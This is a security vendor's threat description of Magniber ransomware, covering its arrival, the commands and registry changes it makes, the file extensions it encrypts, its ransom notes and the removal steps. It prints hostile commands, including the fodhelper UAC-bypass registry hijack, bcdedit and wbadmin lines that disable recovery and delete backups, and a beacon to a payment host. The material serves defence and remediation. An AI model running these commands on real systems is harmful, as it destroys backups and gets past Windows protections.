Ransom.JS.MAGNIBER.SMYPCIUT
Windows


Threat Type: Ransomware
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It drops files as ransom note.
TECHNICAL DETAILS
Arrival Details
This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Ransomware drops the following files:
- %Public%\{Random Characters}.rdb → Delete afterwards
(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)
It adds the following processes:
- %System%\cmd.exe /c fodhelper.exe
- wscript.exe ../../Users/Public/{Random Characters}.rdb
- bcdedit /set {default} bootstatuspolicy ignoreallfailures
- bcdedit /set {default} recoveryenabled no
- wbadmin delete catalog -quiet
- wbadmin delete systemstatebackup -quiet
- cmd /c \"start microsoft-edge:http://{Random Characters}rfguxgmap.pirlay.fun/rfguxgmap&{string 1}&{string 2}&{string 3}&{string 4}&{string 5}
- {string 1} - The number of drives in which the ransomware has enumerated files
- {string 2} - The total size of all encrypted files
- {string 3} - The number of encrypted files
- {string 4} - The number of files enumerated
- {string 5} - The build number of the compromised Windows OS
(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)
It adds the following mutexes to ensure that only one of its copies runs at any one time:
- \BaseNamedObjects\mkthkzupqp
It injects codes into the following process(es):
- It injects into each process if the following criteria is met:
- The process is not iexplore.exe
- It is not running in a WOW64 environment.
Other System Modifications
This Ransomware adds the following registry entries:
HKEY_CURRENT_USER\Software\Classes\
AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\open\
command
(Default) = wscript.exe /B /E:VBScript.Encode ../../Users/Public/{Random Characters}.rdb
HKEY_CURRENT_USER\Software\Classes\
AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\open\
command
DelegateExecute = 0
HKEY_CURRENT_USER\Software\Classes\
ms-settings\CurVer
(Default) = AppX04g0mbrz4mkc6e879rpf6qk6te730jfv
Information Theft
This Ransomware gathers the following data:
- The number of drives in which the ransomware has enumerated files
- The total size of all encrypted files
- The number of encrypted files
- The number of files enumerated
- The build number of the compromised Windows OS
Other Details
This Ransomware encrypts files with the following extensions:
- .abm
- .abs
- .abw
- .accdb
- .act
- .adn
- .adp
- .aes
- .aft
- .afx
- .agif
- .agp
- .ahd
- .ai
- .aic
- .aim
- .albm
- .alf
- .ans
- .apd
- .apm
- .apng
- .aps
- .apt
- .apx
- .arc
- .art
- .arw
- .asc
- .ase
- .asf
- .ask
- .asm
- .asp
- .asw
- .asy
- .aty
- .avi
- .awdb
- .awp
- .awt
- .aww
- .azz
- .bad
- .bak
- .bay
- .bbs
- .bdb
- .bdp
- .bdr
- .bean
- .bib
- .bmp
- .bmx
- .bna
- .bnd
- .boc
- .bok
- .brd
- .brk
- .brn
- .brt
- .bss
- .btd
- .bti
- .btr
- .c
- .ca
- .cals
- .can
- .cd
- .cdb
- .cdc
- .cdg
- .cdmm
- .cdmt
- .cdmz
- .cdr
- .cdt
- .cf
- .cfu
- .cgm
- .cimg
- .cin
- .cit
- .ckp
- .class
- .clkw
- .cma
- .cmx
- .cnm
- .cnv
- .colz
- .cpc
- .cpd
- .cpg
- .cpp
- .cps
- .cpx
- .crd
- .crt
- .crw
- .cs
- .csr
- .csv
- .csy
- .ct
- .cvg
- .cvi
- .cvs
- .cvx
- .cwt
- .cxf
- .cyi
- .dad
- .daf
- .db
- .dbc
- .dbf
- .dbk
- .dbs
- .dbt
- .dbv
- .dbx
- .dca
- .dcb
- .dch
- .dcr
- .dcs
- .dct
- .dcx
- .dd
- .dds
- .ded
- .der
- .dgn
- .dgs
- .dgt
- .dhs
- .dib
- .dif
- .dip
- .diz
- .djv
- .djvu
- .dmi
- .dmo
- .dnc
- .dne
- .doc
- .docb
- .docm
- .docx
- .docz
- .dot
- .dotm
- .dotx
- .dpp
- .dpx
- .dqy
- .drw
- .drz
- .dsk
- .dsn
- .dsv
- .dt
- .dta
- .dtsx
- .dtw
- .dv
- .dvi
- .dwg
- .dx
- .dxb
- .dxf
- .eco
- .ecw
- .ecx
- .edb
- .efd
- .egc
- .eio
- .eip
- .eit
- .em
- .emd
- .emf
- .emlx
- .ep
- .epf
- .epp
- .eps
- .epsf
- .eq
- .erf
- .err
- .etf
- .etx
- .euc
- .exr
- .fa
- .faq
- .fax
- .fb
- .fbx
- .fcd
- .fcf
- .fdf
- .fdr
- .fds
- .fdt
- .fdx
- .fdxt
- .fes
- .fft
- .fi
- .fic
- .fid
- .fif
- .fig
- .fla
- .flr
- .flv
- .fmv
- .fo
- .fodt
- .fpos
- .fpt
- .fpx
- .frm
- .frt
- .frx
- .ftn
- .fwdn
- .fxc
- .fxg
- .fzb
- .fzv
- .gcdp
- .gdb
- .gdoc
- .gem
- .geo
- .gfb
- .gfie
- .ggr
- .gif
- .gih
- .gim
- .gio
- .glox
- .gpd
- .gpg
- .gpn
- .gro
- .grob
- .grs
- .gsd
- .gthr
- .gtp
- .gv
- .gwi
- .gz
- .h
- .hbk
- .hdb
- .hdp
- .hdr
- .hht
- .his
- .hp
- .hpg
- .hpi
- .hs
- .htc
- .hwp
- .hz
- .ib
- .ibd
- .icn
- .icon
- .icpr
- .idc
- .idea
- .idx
- .igt
- .igx
- .ihx
- .ii
- .iiq
- .imd
- .info
- .ink
- .ipf
- .ipx
- .iso
- .itdb
- .itw
- .iwi
- .j
- .jar
- .jas
- .java
- .jbig
- .jbmp
- .jbr
- .jfif
- .jia
- .jis
- .jng
- .joe
- .jpe
- .jpeg
- .jpg
- .jps
- .jpx
- .jrtf
- .js
- .jsp
- .jtf
- .jtx
- .jw
- .jxr
- .kdb
- .kdbx
- .kdc
- .kdi
- .kdk
- .kes
- .key
- .kic
- .klg
- .knt
- .kon
- .kpg
- .kwd
- .lay
- .lbm
- .lbt
- .ldf
- .lgc
- .lis
- .lit
- .ljp
- .lmk
- .lnt
- .lrc
- .lst
- .ltr
- .ltx
- .lue
- .luf
- .lwo
- .lwp
- .lws
- .lyt
- .lyx
- .ma
- .mac
- .man
- .map
- .maq
- .mat
- .max
- .mb
- .mbm
- .mbox
- .mdb
- .mdf
- .mdn
- .mdt
- .me
- .mef
- .mel
- .mft
- .mgcb
- .mgmf
- .mgmt
- .mgmx
- .mgtx
- .mid
- .min
- .mkv
- .mm
- .mmat
- .mnr
- .mnt
- .mos
- .mov
- .mpeg
- .mpf
- .mpg
- .mpo
- .mrg
- .mrxs
- .msg
- .mud
- .mwb
- .mwp
- .mx
- .my
- .myd
- .myi
- .ncr
- .nct
- .ndf
- .nef
- .nfo
- .njx
- .nlm
- .now
- .nrw
- .nsf
- .nyf
- .nzb
- .obj
- .oce
- .oci
- .ocr
- .odb
- .odg
- .odm
- .odo
- .odp
- .ods
- .odt
- .of
- .oft
- .omf
- .oplc
- .oqy
- .ora
- .orf
- .ort
- .orx
- .ost
- .ota
- .otg
- .oti
- .otp
- .ots
- .ott
- .ovp
- .ovr
- .owc
- .owg
- .oyx
- .ozb
- .ozj
- .ozt
- .p
- .pa
- .pan
- .pano
- .pap
- .paq
- .pas
- .pbm
- .pcd
- .pcs
- .pdb
- .pdd
- .pdm
- .pds
- .pdt
- .pef
- .pem
- .pff
- .pfi
- .pfs
- .pfv
- .pfx
- .pgf
- .pgm
- .phm
- .php
- .pic
- .pict
- .pix
- .pjpg
- .pjt
- .plt
- .pm
- .pmg
- .png
- .pni
- .pnm
- .pntg
- .pnz
- .pobj
- .pop
- .pot
- .potm
- .potx
- .ppam
- .ppm
- .pps
- .ppsm
- .ppsx
- .ppt
- .pptm
- .pptx
- .prt
- .prw
- .psd
- .psdx
- .pse
- .psid
- .psp
- .pst
- .psw
- .ptg
- .pth
- .ptx
- .pu
- .pvj
- .pvm
- .pvr
- .pwa
- .pwi
- .pwr
- .px
- .pxr
- .pza
- .pzp
- .pzs
- .qd
- .qmg
- .qpx
- .qry
- .qvd
- .rad
- .rar
- .ras
- .raw
- .rb
- .rctd
- .rcu
- .rd
- .rdb
- .rft
- .rgb
- .rgf
- .rib
- .ric
- .riff
- .ris
- .rix
- .rle
- .rli
- .rng
- .rpd
- .rpf
- .rpt
- .rri
- .rs
- .rsb
- .rsd
- .rsr
- .rst
- .rt
- .rtd
- .rtf
- .rtx
- .run
- .rw
- .rzk
- .rzn
- .saf
- .sam
- .sbf
- .scad
- .scc
- .sch
- .sci
- .scm
- .sct
- .scv
- .scw
- .sdb
- .sdf
- .sdm
- .sdoc
- .sdw
- .sep
- .sfc
- .sfw
- .sgm
- .sh
- .sig
- .skm
- .sla
- .sld
- .sldm
- .sldx
- .slk
- .sln
- .sls
- .smf
- .sms
- .snt
- .sob
- .spa
- .spe
- .sph
- .spj
- .spp
- .spq
- .spr
- .sq
- .sqb
- .srw
- .ssa
- .ssk
- .st
- .stc
- .std
- .sti
- .stm
- .stn
- .stp
- .str
- .stw
- .sty
- .sub
- .suo
- .svf
- .svg
- .svgz
- .swf
- .sxc
- .sxd
- .sxg
- .sxi
- .sxm
- .sxw
- .tab
- .tar
- .tbk
- .tcx
- .tdf
- .tdt
- .te
- .tex
- .text
- .tgz
- .thp
- .tif
- .tiff
- .tlb
- .tlc
- .tm
- .tmd
- .tmv
- .tmx
- .tne
- .tpc
- .trm
- .tvj
- .udb
- .ufr
- .unx
- .uof
- .uop
- .uot
- .upd
- .usr
- .utxt
- .vb
- .vbr
- .vbs
- .vcd
- .vct
- .vdb
- .vdi
- .vec
- .vm
- .vmdk
- .vmx
- .vnt
- .vob
- .vpd
- .vrm
- .vrp
- .vsd
- .vsdm
- .vsdx
- .vsm
- .vstm
- .vstx
- .vue
- .vw
- .wav
- .wbk
- .wcf
- .wdb
- .wgz
- .wire
- .wks
- .wma
- .wmdb
- .wmv
- .wn
- .wp
- .wpa
- .wpd
- .wpg
- .wps
- .wpt
- .wpw
- .wri
- .wsc
- .wsd
- .wsh
- .wtx
- .x
- .xar
- .xd
- .xdb
- .xlc
- .xld
- .xlf
- .xlgc
- .xlm
- .xls
- .xlsb
- .xlsm
- .xlsx
- .xlt
- .xltm
- .xltx
- .xlw
- .xps
- .xwp
- .xyp
- .xyw
- .ya
- .ybk
- .ym
- .zabw
- .zdb
- .zdc
- .zip
- .zw
It does the following:
- Open payment page site through Microsoft Edge browser:
- http://{Random Characters}rfguxgmap.{BLOCKED}.fun/rfguxgmap&{string 1}&{string 2}&{string 3}&{string 4}&{string 5}
Ransomware Routine
This Ransomware avoids encrypting files found in the following folders:
- documents and settings
- appdata
- local settings
- sample music
- sample pictures
- sample videos
- tor browser
- recycle
- windows
- boot
- intel
- msocache
- perflogs
- program files
- program data
- recovery
- system volume information
- winnt
It appends the following extension to the file name of the encrypted files:
- {Original filename}.{Original extension}.rfguxgmap
It drops the following file(s) as ransom note:
- {Malware execution path}\README.html
- {Encrypted directory}\README.html
- %Desktop%\README.html

SOLUTION
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Classes\AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\open\command
- (Default) = wscript.exe /B /E:VBScript.Encode ../../Users/Public/{Random Characters}.rdb
- (Default) = wscript.exe /B /E:VBScript.Encode ../../Users/Public/{Random Characters}.rdb
- In HKEY_CURRENT_USER\Software\Classes\AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\open\command
- DelegateExecute = 0
- DelegateExecute = 0
- In HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer
- (Default) = AppX04g0mbrz4mkc6e879rpf6qk6te730jfv
- (Default) = AppX04g0mbrz4mkc6e879rpf6qk6te730jfv
Step 4
Search and delete this file
- %Public%\{Random Characters}.rdb
- {Malware execution path}\README.html
- {Encrypted directory}\README.html
- %Desktop%\README.html
Step 5
Scan your computer with your Trend Micro product to delete files detected as Ransom.JS.MAGNIBER.SMYPCIUT. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Step 6
Restore encrypted files from backup.
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